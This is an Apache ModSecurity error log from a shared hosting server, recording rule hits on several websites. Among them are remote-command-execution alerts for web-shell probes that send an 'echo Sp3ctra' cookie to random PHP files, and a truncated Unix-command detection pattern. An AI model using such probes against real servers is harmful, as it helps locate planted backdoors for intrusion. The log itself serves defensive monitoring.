[Fri Jul 17 08:25:31.751112 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Settlement/"] [unique_id "almZo90t9Kb_MdNxrg6-QwAAAAM"]
[Fri Jul 17 08:25:33.431439 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.21:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory2/subsystem/devices/memory115/node0/memory54/power/"] [unique_id "almZpd0t9Kb_MdNxrg6-RAAAAAM"]
[Fri Jul 17 08:25:33.431526 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.21:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory2/subsystem/devices/memory115/node0/memory54/power/"] [unique_id "almZpd0t9Kb_MdNxrg6-RAAAAAM"]
[Fri Jul 17 08:25:33.549645 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:58678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:34.828935 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:58744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:36.258420 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:58780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:37.118866 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:58830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:37.590553 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:58840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:38.684152 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:58882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:40.278441 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/guzzle/src/BatchResults.php"] [unique_id "almZrHf2WrySr2miwA73GgAAABY"]
[Fri Jul 17 08:25:40.278801 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/guzzle/src/BatchResults.php"] [unique_id "almZrHf2WrySr2miwA73GgAAABY"]
[Fri Jul 17 08:25:40.279110 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/guzzle/src/BatchResults.php"] [unique_id "almZrHf2WrySr2miwA73GgAAABY"]
[Fri Jul 17 08:25:42.678717 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:42.868130 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:47.630419 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:47.806749 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/LoggingTranslatorTest.php"] [unique_id "almZsw5GPQ6hs4VrfMo9lQAAAAY"]
[Fri Jul 17 08:25:47.807108 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/LoggingTranslatorTest.php"] [unique_id "almZsw5GPQ6hs4VrfMo9lQAAAAY"]
[Fri Jul 17 08:25:47.807419 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/LoggingTranslatorTest.php"] [unique_id "almZsw5GPQ6hs4VrfMo9lQAAAAY"]
[Fri Jul 17 08:25:47.903573 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:50.270935 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:39698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:52.101576 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:39768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:52.589032 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:52.665002 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:55.250162 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/MetadataAwareInterface.php"] [unique_id "almZu3jA8yK8B7kryx3hPwAAAAk"]
[Fri Jul 17 08:25:55.250493 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/MetadataAwareInterface.php"] [unique_id "almZu3jA8yK8B7kryx3hPwAAAAk"]
[Fri Jul 17 08:25:55.250804 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/MetadataAwareInterface.php"] [unique_id "almZu3jA8yK8B7kryx3hPwAAAAk"]
[Fri Jul 17 08:25:58.359503 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZvV2NhE8i6ppze4etawAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1068&page_105=1142
[Fri Jul 17 08:25:58.359538 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZvV2NhE8i6ppze4etawAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1068&page_105=1142
[Fri Jul 17 08:25:59.279658 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:00.812974 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/null.scss"] [unique_id "almZwHRlmrtCoY_COpciOAAAAAg"]
[Fri Jul 17 08:26:00.813362 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/null.scss"] [unique_id "almZwHRlmrtCoY_COpciOAAAAAg"]
[Fri Jul 17 08:26:00.813702 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/null.scss"] [unique_id "almZwHRlmrtCoY_COpciOAAAAAg"]
[Fri Jul 17 08:26:02.159251 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:43050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:03.082208 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:03.088112 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:03.341452 2026] [security2:error] [pid 1993998:tid 1993998] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZw2idQp3SsqeycPEsYwAAAAo"], referer: www.google.com
[Fri Jul 17 08:26:03.341537 2026] [security2:error] [pid 1993998:tid 1993998] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZw2idQp3SsqeycPEsYwAAAAo"], referer: www.google.com
[Fri Jul 17 08:26:03.345897 2026] [security2:error] [pid 1993998:tid 1993998] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZw2idQp3SsqeycPEsYwAAAAo"], referer: www.google.com
[Fri Jul 17 08:26:03.367679 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 08:26:03.374812 2026] [security2:error] [pid 1993998:tid 1993998] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZw2idQp3SsqeycPEsYwAAAAo"], referer: www.google.com
[Fri Jul 17 08:26:03.417417 2026] [security2:error] [pid 1993573:tid 1993573] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/sgqrteqt.php"] [unique_id "almZw3t8zp89pALg8Q5kvQAAAA4"], referer: www.google.com
[Fri Jul 17 08:26:03.418563 2026] [security2:error] [pid 1993573:tid 1993573] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/sgqrteqt.php"] [unique_id "almZw3t8zp89pALg8Q5kvQAAAA4"], referer: www.google.com
[Fri Jul 17 08:26:03.419872 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 08:26:03.420640 2026] [security2:error] [pid 1993573:tid 1993573] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/sgqrteqt.php"] [unique_id "almZw3t8zp89pALg8Q5kvQAAAA4"], referer: www.google.com
[Fri Jul 17 08:26:04.157879 2026] [security2:error] [pid 1993570:tid 1993570] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZxHjA8yK8B7kryx3hRgAAAAk"], referer: www.google.com
[Fri Jul 17 08:26:04.157942 2026] [security2:error] [pid 1993570:tid 1993570] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZxHjA8yK8B7kryx3hRgAAAAk"], referer: www.google.com
[Fri Jul 17 08:26:04.160533 2026] [security2:error] [pid 1993570:tid 1993570] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZxHjA8yK8B7kryx3hRgAAAAk"], referer: www.google.com
[Fri Jul 17 08:26:04.162655 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 08:26:04.163073 2026] [security2:error] [pid 1993570:tid 1993570] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-plain.php"] [unique_id "almZxHjA8yK8B7kryx3hRgAAAAk"], referer: www.google.com
[Fri Jul 17 08:26:04.218060 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/ihyibodq.php"] [unique_id "almZxEhq6UAnqYko0LpW4QAAABE"], referer: www.google.com
[Fri Jul 17 08:26:04.219122 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/ihyibodq.php"] [unique_id "almZxEhq6UAnqYko0LpW4QAAABE"], referer: www.google.com
[Fri Jul 17 08:26:04.246589 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 08:26:04.247111 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/ihyibodq.php"] [unique_id "almZxEhq6UAnqYko0LpW4QAAABE"], referer: www.google.com
[Fri Jul 17 08:26:05.778789 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/psr/log/Psr/Log/LogLevel.php"] [unique_id "almZxQ5GPQ6hs4VrfMo9pAAAAAY"]
